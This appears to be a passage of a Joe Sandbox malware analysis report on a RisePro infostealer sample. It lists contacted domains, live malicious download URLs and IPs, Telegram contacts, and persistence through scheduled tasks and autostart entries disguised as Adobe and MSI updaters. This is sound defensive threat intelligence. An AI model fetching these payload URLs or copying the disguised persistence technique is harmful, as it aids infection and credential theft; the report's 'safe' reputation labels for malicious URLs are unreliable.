http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://ipinfo.io/t	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
http://www.winimage.com/zLibDll	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/server/k/l2.exemespace	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/server/k/l2.exe	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=12.205.151.60	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/12.205.151.60	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://db-ip.com/z-	0%	Avira URL Cloud	safe
http://5.42.96.170/server/k/l2.exe	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Avira URL Cloud	safe
https://t.me/risepro_bot	0%	Avira URL Cloud	safe
http://5.42.96.170/server/k/l2.exe5	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/server/k/l2.exe5P#.	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/server/k/l2.exedwzLnNKYB4T0Vnw.exe	0%	Avira URL Cloud	safe
https://db-ip.com/demo/home.php?s=12.205.151.60	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/I	0%	Avira URL Cloud	safe
http://5.42.96.170/server/k/l2.exeDTl	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/server/k/l2.exe5G	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/server/k/l2.exeo	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/server/k/l2.exexefN	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/Mi&/	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/12.205.151.60	0%	Avira URL Cloud	safe
https://t.me/risepro_botisepro_bot	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/server/k/l2.exe	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/	0%	Avira URL Cloud	safe
https://kuljyftgjk.online:80/server/k/l2.exeJG	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/Bb	0%	Avira URL Cloud	safe
https://t.me/risepro_bot%(	0%	Avira URL Cloud	safe
https://kuljyftgjk.online/ons	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ipinfo.io	34.117.186.192	true	false	unknown
db-ip.com	172.67.75.166	true	false	unknown
kuljyftgjk.online	unknown	unknown	true	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://5.42.96.170/server/k/l2.exe	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/12.205.151.60	false	Avira URL Cloud: safe	unknown
https://db-ip.com/demo/home.php?s=12.205.151.60	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://kuljyftgjk.online:80/server/k/l2.exe	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online:80/server/k/l2.exemespace	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	false	URL Reputation: safe	unknown
https://db-ip.com/z-	file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	false	URL Reputation: safe	unknown
https://db-ip.com:443/demo/home.php?s=12.205.151.60	file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	file.exe, 00000000.00000002.4442200408.000000000030D000.00000002.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://kuljyftgjk.online:80/	file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online/server/k/l2.exe5P#.	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	file.exe, 00000000.00000002.4445088347.0000000006449000.00000004.00000020.00020000.00000000.sdmp, dZGGvSkztfgYu5jqSY21Wne.zip.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	URL Reputation: safe	unknown
https://ipinfo.io/Mozilla/5.0	file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	D87fZN3R3jFeplaces.sqlite.0.dr	false	URL Reputation: safe	unknown
https://kuljyftgjk.online/server/k/l2.exedwzLnNKYB4T0Vnw.exe	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142639137.0000000006550000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4443887762.0000000001682000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kuljyftgjk.online:80/I	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.96.170/server/k/l2.exeDTl	file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 00000007.00000003.2217734150.000000000286A000.00000004.00000020.00020000.00000000.sdmp, llmcrdwzLnNKYB4T0Vnw.exe, 00000009.00000003.2209721688.0000000002C1B000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.9.dr, EdgeMS2.exe.0.dr, llmcrdwzLnNKYB4T0Vnw.exe.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	URL Reputation: safe	unknown
http://5.42.96.170/server/k/l2.exe5	file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/t	file.exe, 00000000.00000002.4443887762.0000000001682000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://kuljyftgjk.online:80/server/k/l2.exe5G	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online/server/k/l2.exexefN	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	D87fZN3R3jFeplaces.sqlite.0.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_botisepro_bot	file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online/server/k/l2.exeo	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	file.exe, 00000000.00000002.4442200408.000000000030D000.00000002.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io:443/widget/demo/12.205.151.60	file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	D87fZN3R3jFeplaces.sqlite.0.dr	false	URL Reputation: safe	unknown
https://kuljyftgjk.online/server/k/l2.exe	file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online:80/Mi&/	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2121507295.0000000006548000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.0000000006495000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2113965338.0000000006495000.00000004.00000020.00020000.00000000.sdmp, OaQuGlYHO2B0Web Data.0.dr, UdeNZdOQSPDWWeb Data.0.dr, sl01HQPBKH54Web Data.0.dr	false	URL Reputation: safe	unknown
https://kuljyftgjk.online:80/server/k/l2.exeJG	file.exe, 00000000.00000003.2220430384.000000000647F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220783088.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219971624.000000000647F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online/	file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online/Bb	file.exe, 00000000.00000002.4445474316.0000000006530000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/risepro_bot%(	file.exe, 00000000.00000003.3698823077.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444160556.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kuljyftgjk.online/ons	file.exe, 00000000.00000002.4444160556.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3698823077.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
5.42.96.65	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
172.67.75.166	db-ip.com	United States	13335	CLOUDFLARENETUS	false
5.42.96.170	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1443534
Start date and time:	2024-05-17 23:44:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/32@5/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 73% Number of executed functions: 20 Number of non-executed functions: 104
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:45:16	API Interceptor	5044664x Sleep call for process: file.exe modified
17:45:53	API Interceptor	1757121x Sleep call for process: oobeldr.exe modified
23:45:15	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
23:45:16	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
23:45:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
23:45:18	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
23:45:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
23:45:33	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
5.42.96.65	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
172.67.75.166	file.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Trojan.PWS.RisePro.145.11601.4956.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	SecuriteInfo.com.Trojan.PWS.RisePro.145.16896.10789.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	9VELQr2nLi.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	Wa3Ffvjksl.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	DKYxuyu8p1.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	nMkQ2yFWe4.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	SilentCrypto.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Trojan-Spy.Win32.Mekotio.26393.21764.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Trojan-Spy.Win32.Mekotio.26393.21764.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	UCMwrxAxzG.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://patriotbarbie.com/	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://02d0.fbvmpj.workers.dev/?mbl_toot	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Trojan.PWS.RisePro.145.25405.18118.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	34.117.186.192
db-ip.com	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	UCMwrxAxzG.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	SecuriteInfo.com.Trojan.PWS.RisePro.145.25405.18118.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.26.5.15
	SecuriteInfo.com.Trojan.PWS.RisePro.145.11601.4956.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	172.67.75.166
	SecuriteInfo.com.Trojan.PWS.RisePro.145.16896.10789.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.26.5.15
	SecuriteInfo.com.Trojan.PWS.RisePro.145.3391.30555.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.26.5.15
	vx1xxR311I.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.26.4.15
	9VELQr2nLi.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	172.67.75.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
